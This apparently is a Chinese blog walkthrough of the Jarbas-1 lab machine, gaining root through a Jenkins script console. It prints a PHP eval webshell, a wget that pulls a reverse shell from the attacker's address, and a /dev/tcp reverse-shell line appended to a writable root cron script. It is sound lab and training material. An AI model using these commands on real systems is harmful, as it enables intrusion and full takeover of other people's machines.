jarbas-1
title
目标: Get root shell!
妙妙工具:
python -c 'import pty; pty.spawn("/bin/bash")'
¶环境配置
- kali: 192.168.146.6
- target: 192.168.146.5
¶信息收集
# 获取靶机地址 192.168.146.5 |
扫漏洞的时候发现8080端口有一个robots.txt, 访问有提示, 看不懂是什么
# we don't want robots to click "build" links |
扫一下目录
dirb http://192.168.146.5 |
访问80端口, 发现是Jenkins cms, 这个cms经过搜索有默认密码, 且存在后台漏洞, 所以看看能不能先登录进去. 尝试部分弱密码, 没法登录, 先看看其他部分
访问之前扫描到的access.html
, 发现疑似是用户名和密码的md5
tiago:5978a63b4654c73c60fa24f836386d87 |
不确定可以用hash-identifier
工具确认一下加密方式, 解密结果如下, 解密网址
tiago:italia99 |
拿到的账号密码用于在8080登录, 测试发现仅有eder:vipsu
可以登陆
试过ssh了, 不行
¶getshell
参考文章, 根据文章内容可以非常轻易复现
println "whoami".execute().text |
结合前面的信息收集中, nmap认为这是一个linux系统, 我们尝试写马
new File("/var/www/html/shell.php").write('<?php @eval($_POST[cmd]);?>'); |
被告知用户没有权限在这个目录下进行编辑, 看一下权限, 果然是root
println "ls -ld /var/www/html".execute().text |
换一种方法吧, 反正可以执行命令, 上传一个反弹shell然后执行; 自行创建文件并配置简单服务器, 顺手监听1234
|
然后通过网站下载该文件, 并执行命令
println "wget http://192.168.146.6:8000/shell.php -P /tmp/".execute().text |
成功拿到shell
¶信息收集
# 系统信息 Linux jarbas 3.10.0-693.21.1.el7.x86_64 #1 SMP Wed Mar 7 19:03:37 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux |
存在python, 利用python起一个新的交互式shell, 我说妙妙工具真好用
来看看这个计划任务, 每五分钟执行一次
*/5 * * * * root /etc/script/CleaningScript.sh >/dev/null 2>&1 |
先来看看权限, 是777, 任何人可以编辑这个sh文件, 那么我认为这就是提权的方式了
ls -ld /etc/script/CleaningScript.sh |
看看内容, 是一个自动删除/var/log/httpd/access_log.txt
的脚本
¶提权
在这个脚本后追加内容, 让它反弹shell
echo "/bin/bash -i >& /dev/tcp/192.168.146.6/5555 0>&1" >> /etc/script/CleaningScript.sh |
拿到root权限, /root
目录下有flag, 可以拿拿
All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.